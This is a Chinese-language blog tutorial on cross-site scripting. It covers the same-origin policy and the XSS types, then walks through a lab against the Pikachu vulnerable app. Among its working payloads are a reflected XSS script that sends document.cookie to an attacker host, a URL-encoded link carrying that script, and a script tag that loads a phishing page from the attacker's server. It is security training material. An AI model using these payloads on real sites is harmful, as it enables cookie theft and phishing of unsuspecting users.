XSS注入的原理与实现

一、JavaScript的常用脚本

1.window.location.href 用来跳转页面

eg:<script>window.location.href='www.jd.com'</script>

2.document.cookie

获取客户端的cookie值

3.script 可以通过“src”属性引入JavaScript文件

二、什么是同源策略

        同源策略在web应用的安全模型中是一个重要概念。在这个策略下,web浏览器允许第一个页面的脚本访问第二个页面里的数据,但是也只有在两个页面有相同的源时。源是由url,主机名,端口号组合而成的。这个策略可以阻止一个页面上的恶意脚本通过页面的DOM对象获得访问另一个页面上敏感信息的权限。

对于普遍依赖于cookie维护授权用户session的现代浏览器来说,这种机制有特殊意义。客户端必须在不同站点提供的内容之间维持一个严格限制,以防丢失数据机密或者完整性。

JavaScript中同源指的是两者中的协议域名端口号。三者完全相同才认为是同源的

三、xss漏洞的原理

1.xss漏洞的简单介绍

xss是跨站脚本攻击(cross site scripting)的简写,是指用户向web页面插入js代码,当用户浏览这个页面时,web中嵌入的js代码会被执行。

2.什么是脚本

脚本主要由两个JavaScript和actionscript

3.xss攻击的原理

xss漏洞主要是web对输入和输出没有严格的控制与校验,导致输入的脚本在输出到前端时可以被执行从而产生一些危害。

4.xss的危害

钓鱼攻击;获取键盘记录;获取用户cookie;

四、xss的分类

1.反射型(非持久型)

交互的数据一般不存储在数据库中,例如查询等页面

2.存储型(持久型)

交互的数据一般存储在数据库中,例如注册,留言等页面

3.DOM型

不与后台服务器产生交互

五、xss的实现

1.反射型xss又称持久型xss

get请求方式

xss代码出现在url参数中,浏览器发出请求后参数提交到服务器,服务器接收后参数值出现在响应的html中,浏览器解析并执行了xss代码。

当我们输入一个script代码时,<script>alert("hello world")</script>,查看页面结果

查看结果

2.利用反射型xss以get方式提价获取cookie值

首先需要有目标网站,被攻击者和攻击者后台。

2.1攻击者后台

存放获取的cookie值信息。

修改重定向页面

第一步:构造js代码

<script>document.location='http://192.168.'</script>

http://192.168.1.5/pikachu/vul/xss/xss_reflected_get.php?message=<script>alert("hello+world")</script>&submit=submit

当我使用虚拟机访问这个连接时,会弹出helloWord

第二步,真正获取cookie值

<script>document.location = 'http://192.168.44.139:8088/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

document.location :将页面重定向到这个页面

pikachu/pkxss/xcookie/cookie.php

伪造的连接:http://192.168.44.1/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location+%3D+%27http%3A%2F%2F192.168.44.139%3A8088%2Fpikachu%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E&submit=submit HTTP/1.1

192.168.44.1为物理机的IP地址

192.168.44.139为虚拟机的IP地址,攻击者的IP地址

2.钓鱼攻击

原理:首先攻击者在一个含有xss存储型漏洞的网站插入恶意的代码,例如留言板,当用户点击到这个页面时,浏览器会编译这个恶意代码并执行,此时页面会弹出一个文本框,需要用户输入信息,攻击者将用户的输入发送到自己的网页后台,成功获取到用户的信息

payload:<script src="http://192.168.44.139:8088/pikachu/pkxss/xfish/fish.php"></script>

此时这个IP地址为攻击者的网站地址。

3.获取键盘记录

原理:首先攻击者在一个含有xss存储型漏洞的网站插入恶意的代码,例如留言板,当用户点击到这个页面时,浏览器会编译这个恶意代码并执行,用户通过键盘留言时,恶意代码会将用户的键盘记录发送到攻击者的网站后台。


 

  • 1
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

一句话木马

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值